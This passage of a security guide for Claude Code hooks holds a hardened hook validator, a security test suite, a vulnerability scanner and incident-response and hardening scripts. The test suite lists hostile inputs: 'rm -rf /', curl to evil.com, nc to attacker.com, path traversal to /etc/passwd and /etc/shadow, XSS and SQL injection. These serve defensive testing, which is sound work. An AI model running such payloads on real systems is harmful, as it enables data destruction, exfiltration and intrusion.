        self.project_root = Path.cwd().resolve()
        self.temp_dir = None
        
    def validate_input(self, data: Dict[str, Any]) -> Tuple[bool, str]:
        """Comprehensive input validation"""
        
        # Validate structure
        if 'tool_name' not in data or 'tool_input' not in data:
            return False, "Missing required fields"
        
        # Validate tool name
        if data['tool_name'] not in ALLOWED_TOOLS:
            return False, f"Tool {data['tool_name']} not allowed"
        
        # Validate file path if present
        tool_input = data.get('tool_input', {})
        if 'file_path' in tool_input:
            valid, msg = self.validate_file_path(tool_input['file_path'])
            if not valid:
                return False, msg
        
        # Validate content if present
        if 'content' in tool_input:
            valid, msg = self.validate_content(tool_input['content'])
            if not valid:
                return False, msg
        
        return True, "Validation passed"
    
    def validate_file_path(self, file_path: str) -> Tuple[bool, str]:
        """Validate file path security"""
        try:
            path = Path(file_path).resolve()
            
            # Must be within project
            path.relative_to(self.project_root)
            
            # Check extension
            if path.suffix not in ALLOWED_EXTENSIONS:
                return False, f"File type {path.suffix} not allowed"
            
            # No symlinks
            if path.is_symlink():
                return False, "Symbolic links not allowed"
            
            # Check file size if exists
            if path.exists() and path.stat().st_size > MAX_FILE_SIZE:
                return False, "File too large"
            
            return True, "Valid path"
            
        except ValueError:
            return False, "Path outside project directory"
        except Exception as e:
            return False, f"Path validation error: {str(e)}"
    
    def validate_content(self, content: str) -> Tuple[bool, str]:
        """Validate content for malicious patterns"""
        
        # Check size
        if len(content) > MAX_FILE_SIZE:
            return False, "Content too large"
        
        # Check for dangerous patterns
        dangerous_patterns = [
            (r'<script.*?>.*?</script>', 'Script tags not allowed'),
            (r'eval\s*\(', 'Eval not allowed'),
            (r'exec\s*\(', 'Exec not allowed'),
            (r'__import__', 'Dynamic imports not allowed'),
        ]
        
        for pattern, message in dangerous_patterns:
            if re.search(pattern, content, re.IGNORECASE | re.DOTALL):
                return False, message
        
        return True, "Content validated"
    
    def execute_hook(self, data: Dict[str, Any]) -> int:
        """Main hook execution with all security measures"""
        
        # Create secure temporary directory
        self.temp_dir = tempfile.mkdtemp(prefix='claude-hook-')
        os.chmod(self.temp_dir, 0o700)
        
        try:
            # Validate input
            valid, message = self.validate_input(data)
            if not valid:
                print(json.dumps({
                    'continue': False,
                    'stopReason': f'Security check failed: {message}'
                }))
                return 2
            
            # Process based on tool
            tool_name = data['tool_name']
            if tool_name in ['Edit', 'Write']:
                return self.handle_file_modification(data)
            elif tool_name == 'Read':
                return self.handle_file_read(data)
            
            return 0
            
        except Exception as e:
            # Secure error handling
            error_id = hashlib.sha256(str(e).encode()).hexdigest()[:8]
            print(json.dumps({
                'continue': False,
                'stopReason': f'Hook error (ID: {error_id})'
            }), file=sys.stderr)
            return 1
            
        finally:
            # Cleanup
            if self.temp_dir and Path(self.temp_dir).exists():
                import shutil
                shutil.rmtree(self.temp_dir, ignore_errors=True)
    
    def handle_file_modification(self, data: Dict[str, Any]) -> int:
        """Handle file modification with security checks"""
        
        file_path = data['tool_input']['file_path']
        
        # Run formatter with security constraints
        result = subprocess.run(
            ['prettier', '--write', file_path],
            capture_output=True,
            text=True,
            timeout=30,
            cwd=self.project_root,  # Restrict to project directory
            env={
                'PATH': '/usr/local/bin:/usr/bin:/bin',
                'HOME': self.temp_dir  # Isolate home directory
            }
        )
        
        if result.returncode != 0:
            print(f"Formatter failed: {result.stderr}", file=sys.stderr)
            return 1
        
        return 0
    
    def handle_file_read(self, data: Dict[str, Any]) -> int:
        """Handle file read with security checks"""
        
        file_path = Path(data['tool_input']['file_path']).resolve()
        
        # Additional read-specific checks
        if not file_path.exists():
            print(json.dumps({
                'continue': False,
                'stopReason': 'File not found'
            }))
            return 2
        
        # Log access for audit
        self.log_access('read', str(file_path))
        
        return 0
    
    def log_access(self, action: str, resource: str):
        """Secure audit logging"""
        log_entry = {
            'timestamp': datetime.utcnow().isoformat(),
            'action': action,
            'resource': resource,
            'user': os.environ.get('USER', 'unknown'),
            'session': os.environ.get('CLAUDE_SESSION_ID', 'unknown')
        }
        
        # In production, write to secure log file
        # For now, just print to stderr
        print(f"AUDIT: {json.dumps(log_entry)}", file=sys.stderr)
 
def main():
    """Main entry point"""
    hook = SecureHook()
    
    try:
        # Read input from stdin
        data = json.load(sys.stdin)
        return hook.execute_hook(data)
        
    except json.JSONDecodeError:
        print(json.dumps({
            'continue': False,
            'stopReason': 'Invalid JSON input'
        }))
        return 2
    except Exception as e:
        print(json.dumps({
            'continue': False,
            'stopReason': 'Hook initialization failed'
        }))
        return 1
 
if __name__ == '__main__':
    sys.exit(main())

2. Security Test Suite for Hooks

#!/usr/bin/env python3
"""
Security test suite for Claude Code hooks
Tests for common vulnerabilities
"""
 
import unittest
import subprocess
import tempfile
import json
from pathlib import Path
 
class HookSecurityTests(unittest.TestCase):
    """Test suite for hook security"""
    
    def setUp(self):
        self.test_dir = tempfile.mkdtemp()
        self.hook_path = Path(__file__).parent / 'secure_hook.py'
    
    def test_command_injection(self):
        """Test command injection prevention"""
        malicious_inputs = [
            "file.txt; rm -rf /",
            "file.txt && curl evil.com",
            "file.txt | nc attacker.com 1234",
            "$(rm -rf /)",
            "`rm -rf /`",
            "file.txt\nrm -rf /"
        ]
        
        for payload in malicious_inputs:
            result = self.run_hook({
                'tool_name': 'Edit',
                'tool_input': {
                    'file_path': payload
                }
            })
            
            # Hook should reject malicious input
            self.assertEqual(result['exitcode'], 2)
            self.assertIn('Security check failed', result['output'])
    
    def test_path_traversal(self):
        """Test path traversal prevention"""
        traversal_attempts = [
            "../../../etc/passwd",
            "..\\..\\..\\windows\\system32\\config\\sam",
            "/etc/passwd",
            "C:\\Windows\\System32\\config\\SAM",
            "./../../../../etc/shadow",
            "%2e%2e%2f%2e%2e%2fetc%2fpasswd"
        ]
        
        for payload in traversal_attempts:
            result = self.run_hook({
                'tool_name': 'Read',
                'tool_input': {
                    'file_path': payload
                }
            })
            
            self.assertEqual(result['exitcode'], 2)
            self.assertIn('outside project', result['output'].lower())
    
    def test_content_validation(self):
        """Test content validation"""
        malicious_contents = [
            "<script>alert('XSS')</script>",
            "'; DROP TABLE users; --",
            "eval('malicious code')",
            "__import__('os').system('id')",
            "exec(compile('print(1)', '<string>', 'exec'))"
        ]
        
        for payload in malicious_contents:
            result = self.run_hook({
                'tool_name': 'Write',
                'tool_input': {
                    'file_path': 'test.txt',
                    'content': payload
                }
            })
            
            self.assertIn(['not allowed', 'Security check failed'], 
                         result['output'])
    
    def test_resource_limits(self):
        """Test resource limit enforcement"""
        # Test large content
        large_content = 'A' * (11 * 1024 * 1024)  # 11MB
        
        result = self.run_hook({
            'tool_name': 'Write',
            'tool_input': {
                'file_path': 'large.txt',
                'content': large_content
            }
        })
        
        self.assertEqual(result['exitcode'], 2)
        self.assertIn('too large', result['output'].lower())
    
    def test_timeout_handling(self):
        """Test timeout handling"""
        # This would require a hook that intentionally delays
        # For now, we'll test that timeout parameter is respected
        pass
    
    def run_hook(self, input_data):
        """Helper to run hook with input"""
        proc = subprocess.run(
            ['python3', str(self.hook_path)],
            input=json.dumps(input_data),
            capture_output=True,
            text=True,
            timeout=5
        )
        
        return {
            'exitcode': proc.returncode,
            'output': proc.stdout + proc.stderr
        }
 
if __name__ == '__main__':
    unittest.main()

Security Testing and Validation

1. Automated Security Scanner for Hooks

#!/usr/bin/env python3
"""
Automated security scanner for Claude Code hooks
Identifies common vulnerabilities
"""
 
import ast
import re
from pathlib import Path
from typing import List, Dict, Any
 
class HookSecurityScanner:
    """Scan hooks for security vulnerabilities"""
    
    def __init__(self):
        self.vulnerabilities = []
        
    def scan_file(self, file_path: Path) -> List[Dict[str, Any]]:
        """Scan a single hook file"""
        self.vulnerabilities = []
        
        with open(file_path, 'r') as f:
            content = f.read()
        
        # Run all checks
        self.check_dangerous_functions(content, file_path)
        self.check_input_validation(content, file_path)
        self.check_command_execution(content, file_path)
        self.check_file_operations(content, file_path)
        self.check_error_handling(content, file_path)
        
        return self.vulnerabilities
    
    def check_dangerous_functions(self, content: str, file_path: Path):
        """Check for dangerous function usage"""
        dangerous_patterns = [
            (r'\beval\s*\(', 'HIGH', 'Use of eval() is dangerous'),
            (r'\bexec\s*\(', 'HIGH', 'Use of exec() is dangerous'),
            (r'__import__', 'MEDIUM', 'Dynamic imports can be dangerous'),
            (r'pickle\.loads', 'HIGH', 'Pickle deserialization is unsafe'),
            (r'yaml\.load\s*\(', 'HIGH', 'Use yaml.safe_load() instead'),
            (r'shell\s*=\s*True', 'HIGH', 'Shell=True enables command injection'),
            (r'os\.system', 'HIGH', 'os.system() is vulnerable to injection'),
        ]
        
        for pattern, severity, message in dangerous_patterns:
            matches = re.finditer(pattern, content)
            for match in matches:
                line_no = content[:match.start()].count('\n') + 1
                self.vulnerabilities.append({
                    'file': str(file_path),
                    'line': line_no,
                    'severity': severity,
                    'type': 'dangerous_function',
                    'message': message,
                    'code': match.group()
                })
    
    def check_input_validation(self, content: str, file_path: Path):
        """Check for missing input validation"""
        # Look for direct use of environment variables without validation
        env_patterns = [
            (r'os\.environ\[(["\'])(.*?)\1\]', 'Environment variable {} used without validation'),
            (r'os\.getenv\((["\'])(.*?)\1\)', 'Environment variable {} used without validation'),
        ]
        
        for pattern, message_template in env_patterns:
            matches = re.finditer(pattern, content)
            for match in matches:
                var_name = match.group(2)
                # Check if validation follows
                line_no = content[:match.start()].count('\n') + 1
                if not self._has_validation_nearby(content, match.start(), var_name):
                    self.vulnerabilities.append({
                        'file': str(file_path),
                        'line': line_no,
                        'severity': 'MEDIUM',
                        'type': 'missing_validation',
                        'message': message_template.format(var_name)
                    })
    
    def check_command_execution(self, content: str, file_path: Path):
        """Check for unsafe command execution"""
        # Look for subprocess calls with user input
        if 'subprocess' in content:
            # Try to parse as AST for better analysis
            try:
                tree = ast.parse(content)
                for node in ast.walk(tree):
                    if isinstance(node, ast.Call):
                        if hasattr(node.func, 'attr'):
                            if (hasattr(node.func.value, 'id') and 
                                node.func.value.id == 'subprocess' and
                                node.func.attr in ['run', 'call', 'Popen']):
                                # Check if shell=True
                                for keyword in node.keywords:
                                    if keyword.arg == 'shell' and \
                                       isinstance(keyword.value, ast.Constant) and \
                                       keyword.value.value is True:
                                        self.vulnerabilities.append({
                                            'file': str(file_path),
                                            'line': node.lineno,
                                            'severity': 'HIGH',
                                            'type': 'shell_injection',
                                            'message': 'subprocess with shell=True is dangerous'
                                        })
            except SyntaxError:
                pass  # Not valid Python, skip AST analysis
    
    def check_file_operations(self, content: str, file_path: Path):
        """Check for unsafe file operations"""
        unsafe_patterns = [
            (r'open\s*\([^)]*\)', 'File operation without explicit encoding'),
            (r'Path\([^)]*\)\.unlink\(\)', 'File deletion without validation'),
            (r'shutil\.rmtree', 'Directory deletion without validation'),
        ]
        
        for pattern, message in unsafe_patterns:
            matches = re.finditer(pattern, content)
            for match in matches:
                # Check if there's validation before the operation
                line_no = content[:match.start()].count('\n') + 1
                if not self._has_path_validation_nearby(content, match.start()):
                    self.vulnerabilities.append({
                        'file': str(file_path),
                        'line': line_no,
                        'severity': 'MEDIUM',
                        'type': 'unsafe_file_operation',
                        'message': message
                    })
    
    def check_error_handling(self, content: str, file_path: Path):
        """Check for information leakage in error handling"""
        leak_patterns = [
            (r'traceback\.format_exc\(\)', 'Traceback exposes internal details'),
            (r'str\(e\)', 'Raw exception message may leak information'),
            (r'print\([^)]*exc_info\s*=\s*True', 'Exception details printed'),
        ]
        
        for pattern, message in leak_patterns:
            matches = re.finditer(pattern, content)
            for match in matches:
                line_no = content[:match.start()].count('\n') + 1
                self.vulnerabilities.append({
                    'file': str(file_path),
                    'line': line_no,
                    'severity': 'LOW',
                    'type': 'information_disclosure',
                    'message': message
                })
    
    def _has_validation_nearby(self, content: str, position: int, 
                              variable: str, context_lines: int = 5) -> bool:
        """Check if validation exists near the variable usage"""
        # Simple heuristic: look for validation patterns nearby
        start = max(0, position - 200)
        end = min(len(content), position + 200)
        context = content[start:end]
        
        validation_patterns = [
            f'if.*{variable}',
            f'validate.*{variable}',
            f'check.*{variable}',
            f'{variable}.*in.*ALLOWED',
        ]
        
        for pattern in validation_patterns:
            if re.search(pattern, context):
                return True
        
        return False
    
    def _has_path_validation_nearby(self, content: str, position: int) -> bool:
        """Check if path validation exists nearby"""
        start = max(0, position - 300)
        end = min(len(content), position + 300)
        context = content[start:end]
        
        validation_indicators = [
            'validate.*path',
            'check.*path',
            'Path.*resolve',
            'relative_to',
            'is_relative_to',
        ]
        
        for indicator in validation_indicators:
            if re.search(indicator, context, re.IGNORECASE):
                return True
        
        return False
    
    def generate_report(self, vulnerabilities: List[Dict[str, Any]]) -> str:
        """Generate security report"""
        if not vulnerabilities:
            return "No security vulnerabilities found!"
        
        report = "Security Scan Report\n" + "=" * 50 + "\n\n"
        
        # Group by severity
        by_severity = {'HIGH': [], 'MEDIUM': [], 'LOW': []}
        for vuln in vulnerabilities:
            by_severity[vuln['severity']].append(vuln)
        
        for severity in ['HIGH', 'MEDIUM', 'LOW']:
            if by_severity[severity]:
                report += f"\n{severity} Severity Issues ({len(by_severity[severity])})\n"
                report += "-" * 30 + "\n"
                
                for vuln in by_severity[severity]:
                    report += f"\nFile: {vuln['file']}, Line {vuln['line']}\n"
                    report += f"Type: {vuln['type']}\n"
                    report += f"Message: {vuln['message']}\n"
                    if 'code' in vuln:
                        report += f"Code: {vuln['code']}\n"
        
        return report
 
# Example usage
if __name__ == '__main__':
    scanner = HookSecurityScanner()
    
    # Scan all Python hooks in the .claude directory
    hook_dir = Path('.claude/hooks')
    if hook_dir.exists():
        for hook_file in hook_dir.glob('*.py'):
            print(f"\nScanning {hook_file}...")
            vulnerabilities = scanner.scan_file(hook_file)
            print(scanner.generate_report(vulnerabilities))

Emergency Response Procedures

1. Incident Response Plan

#!/bin/bash
# Claude Hook Security Incident Response Script
 
# Emergency hook disable function
disable_all_hooks() {
    echo "EMERGENCY: Disabling all Claude Code hooks..."
    
    # Backup current configuration
    if [ -f ".claude/settings.json" ]; then
        cp .claude/settings.json ".claude/settings.json.backup.$(date +%Y%m%d_%H%M%S)"
        
        # Create minimal safe configuration
        cat > .claude/settings.json << EOF
{
  "hooks": {
    "disabled": true,
    "reason": "Security incident response - $(date)"
  }
}
EOF
        echo "All hooks have been disabled."
    else
        echo "No hooks configuration found."
    fi
}
 
# Audit recent hook activity
audit_hook_activity() {
    echo "Auditing recent hook activity..."
    
    # Check for suspicious file modifications
    echo "Files modified in last hour:"
    find . -type f -mmin -60 -ls | grep -v ".git/"
    
    # Check for new files
    echo -e "\nNew files created in last hour:"
    find . -type f -cmin -60 -ls | grep -v ".git/"
    
    # Check git status
    echo -e "\nGit status:"
    git status --porcelain
    
    # Check for suspicious processes
    echo -e "\nClaude-related processes:"
    ps aux | grep -i claude | grep -v grep
}
 
# Collect forensic data
collect_forensics() {
    INCIDENT_DIR="claude-incident-$(date +%Y%m%d_%H%M%S)"
    mkdir -p "$INCIDENT_DIR"
    
    echo "Collecting forensic data to $INCIDENT_DIR..."
    
    # Copy hook logs
    if [ -d ".claude/logs" ]; then
        cp -r .claude/logs "$INCIDENT_DIR/"
    fi
    
    # System information
    {
        echo "=== System Information ==="
        date
        whoami
        pwd
        echo -e "\n=== Environment Variables ==="
        env | grep -E "(CLAUDE|PATH|USER|HOME)" | sort
        echo -e "\n=== Recent Commands ==="
        history | tail -50
    } > "$INCIDENT_DIR/system_info.txt"
    
    # Create incident report template
    cat > "$INCIDENT_DIR/incident_report.md" << EOF
# Claude Code Hook Security Incident Report
 
**Date**: $(date)
**Reporter**: $(whoami)
**Severity**: [HIGH/MEDIUM/LOW]
 
## Summary
[Brief description of the incident]
 
## Timeline
- [Time]: Initial detection
- [Time]: Hook disabled
- [Time]: Investigation started
 
## Impact Assessment
- Files affected: [List]
- Data exposed: [Yes/No/Unknown]
- Systems compromised: [List]
 
## Root Cause
[Description of vulnerability]
 
## Remediation Steps
1. Disabled all hooks
2. [Additional steps taken]
 
## Recommendations
- [Future prevention measures]
EOF
    
    echo "Forensic data collected in $INCIDENT_DIR"
}
 
# Main menu
echo "Claude Code Hook Security Incident Response"
echo "=========================================="
echo "1. EMERGENCY - Disable all hooks immediately"
echo "2. Audit recent hook activity"
echo "3. Collect forensic data"
echo "4. Run all response procedures"
echo -n "Select action (1-4): "
read -r action
 
case $action in
    1) disable_all_hooks ;;
    2) audit_hook_activity ;;
    3) collect_forensics ;;
    4) 
        disable_all_hooks
        audit_hook_activity
        collect_forensics
        echo -e "\nAll emergency procedures completed."
        ;;
    *) echo "Invalid selection" ;;
esac

2. Post-Incident Security Hardening

#!/usr/bin/env python3
"""
Post-incident security hardening for Claude Code hooks
"""
 
import json
import hashlib
from pathlib import Path
from datetime import datetime
 
class SecurityHardening:
    """Apply security hardening after incident"""
    
    def __init__(self):
        self.config_path = Path('.claude/settings.json')
        self.security_config = {
            'version': '2.0',
            'security': {
                'strict_mode': True,
                'require_signing': True,
                'allowed_hooks': [],
                'max_execution_time': 30,
                'audit_all_operations': True
            }
        }
    
    def apply_hardening(self):
        """Apply all security hardening measures"""
        print("Applying security hardening...")
        
        # Create new secure configuration
        self.create_secure_config()
        
        # Set up hook signing
        self.setup_hook_signing()
        
        # Create audit configuration
        self.setup_audit_logging()
        
        # Apply file permissions
        self.secure_file_permissions()
        
        print("Security hardening complete!")
    
    def create_secure_config(self):
        """Create secure hook configuration"""
        config = {
            'hooks': {
                'enabled': False,  # Start with hooks disabled
                'security': self.security_config,
                'whitelist': {
                    'tools': ['Edit', 'Write', 'Read'],
                    'file_extensions': ['.py', '.js', '.ts', '.json'],
                    'paths': ['./src', './tests']
                },
                'PreToolUse': [{
                    'matcher': '.*',
                    'hooks': [{
                        'type': 'security-validator',
                        'script': '.claude/security/validator.py'
                    }]
                }]
            }
        }
        
        # Backup existing config
        if self.config_path.exists():
            backup = self.config_path.with_suffix('.json.pre-hardening')
            self.config_path.rename(backup)
        
        # Write new config
        with open(self.config_path, 'w') as f:
            json.dump(config, f, indent=2)
        
        print(f"Created secure configuration at {self.config_path}")
    
    def setup_hook_signing(self):
        """Set up cryptographic signing for hooks"""
        signing_dir = Path('.claude/security')
        signing_dir.mkdir(exist_ok=True)
        
        # Generate signing configuration
        signing_config = {
            'enabled': True,
            'algorithm': 'sha256',
            'trusted_signers': [],
            'verification_required': True
        }
        
        with open(signing_dir / 'signing.json', 'w') as f:
            json.dump(signing_config, f, indent=2)
        
        # Create hook signature validator
        validator_script = '''#!/usr/bin/env python3
import json
import sys
import hashlib
 
def verify_hook_signature(hook_path, expected_hash):
    """Verify hook file hasn't been tampered with"""
    with open(hook_path, 'rb') as f:
        actual_hash = hashlib.sha256(f.read()).hexdigest()
    return actual_hash == expected_hash
 
def main():
    data = json.load(sys.stdin)
    # Add signature verification logic here
    return 0
 
if __name__ == '__main__':
    sys.exit(main())
'''
        
        validator_path = signing_dir / 'validator.py'
        with open(validator_path, 'w') as f:
            f.write(validator_script)
        
        validator_path.chmod(0o750)
        print("Hook signing configured")
    
    def setup_audit_logging(self):
        """Configure comprehensive audit logging"""
        audit_dir = Path('.claude/audit')
        audit_dir.mkdir(exist_ok=True)
        
        audit_config = {
            'enabled': True,
            'log_level': 'INFO',
            'retention_days': 90,
            'log_format': 'json',
            'events_to_log': [
                'hook_execution',
                'file_modification',
                'permission_change',
                'configuration_update',
                'security_violation'
            ]
        }
        
        with open(audit_dir / 'config.json', 'w') as f:
            json.dump(audit_config, f, indent=2)
        
        print("Audit logging configured")
    
    def secure_file_permissions(self):
        """Apply secure file permissions"""
        # Secure the .claude directory
        claude_dir = Path('.claude')
        if claude_dir.exists():
            claude_dir.chmod(0o700)
            
            # Secure all configuration files
            for config_file in claude_dir.glob('**/*.json'):
                config_file.chmod(0o600)
            
            # Secure all hook scripts
            for hook_script in claude_dir.glob('**/*.py'):
                hook_script.chmod(0o750)
            
            print("File permissions secured")
 
if __name__ == '__main__':
    hardening = SecurityHardening()
    hardening.apply_hardening()

Conclusion

This comprehensive guide provides the essential security knowledge needed to develop secure Claude Code hooks. By following these practices, you can significantly reduce the risk of security vulnerabilities in your automation workflows.

Key Takeaways

  1. Never Trust Input: Always validate and sanitize all inputs, regardless of source
  2. Defense in Depth: Layer multiple security controls for maximum protection
  3. Least Privilege: Grant only the minimum permissions necessary
  4. Fail Securely: Handle errors without exposing sensitive information
  5. Audit Everything: Maintain comprehensive logs for security analysis
  6. Stay Updated: Security is an ongoing process - regularly review and update your hooks

Additional Resources

Remember: Security is not optional. Every hook you write should incorporate these security practices from the beginning. The cost of fixing security issues after deployment is exponentially higher than building secure hooks from the start.

Graph View